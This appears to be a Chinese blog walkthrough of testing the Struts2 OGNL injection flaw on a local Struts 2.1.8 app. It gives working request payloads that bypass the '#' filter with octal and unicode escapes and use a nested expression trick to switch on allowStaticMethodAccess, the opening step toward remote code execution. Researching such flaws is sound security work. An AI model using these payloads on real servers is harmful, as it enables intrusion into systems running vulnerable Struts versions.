http://commons.apache.org/ognl/language-guide.html
这个是ognl的官网,在这里能看到不少这个ognl的表达式的介绍。
下来开始测试,
我首先选择的是struts2.1.18版本这是一个简单的赋值测试,目的是改变context中的
43_memberAccess['allowStaticMethodAccess']=true,这个事webwork中很重要的一个参数,他决定了你是否可以在ognl表达式中使用静态方法,这个在后面的使用中十分重要。
http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true
实际上这句话并不能很好的完成工作,因为struts2中的xwork过滤掉了#,这里就是这个漏洞的起始点,虽然他过滤掉了#
但是我们可以使用\u0020 \43 \043 ,分别是16进制的unicode编码,8进制的编码这三种方式绕过对#的过滤
http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true
但是如果这样依旧会有问题,会产生无法解析的语法树,因为\43这样的他是直接无法解析的,需要用'号括起来
http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外层有了单引号,所以内层也要对单引号做转义。这样的语句就可以正常生成ast树了
接下来问题实际上是现在这样仍然无法识别出#_memberAccess['allowStaticMethodAccess'],所以这里才用了个小技巧,构造了复杂一些的ast树
('\43_memberAccess[\'allowStaticMethodAccess\']')(a)
这样的ast树实际上是有两个节点,
('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
然后赋值就可以了,这里我觉得之所以需要构建2层语法树,实质上是和转义有关的。
http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
这就是对
对这个context中控制ognl关键变量的改变。
当然我们还有另一种写法
http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true
这样的写法也是可以的,而且比较简洁,就看你怎么选了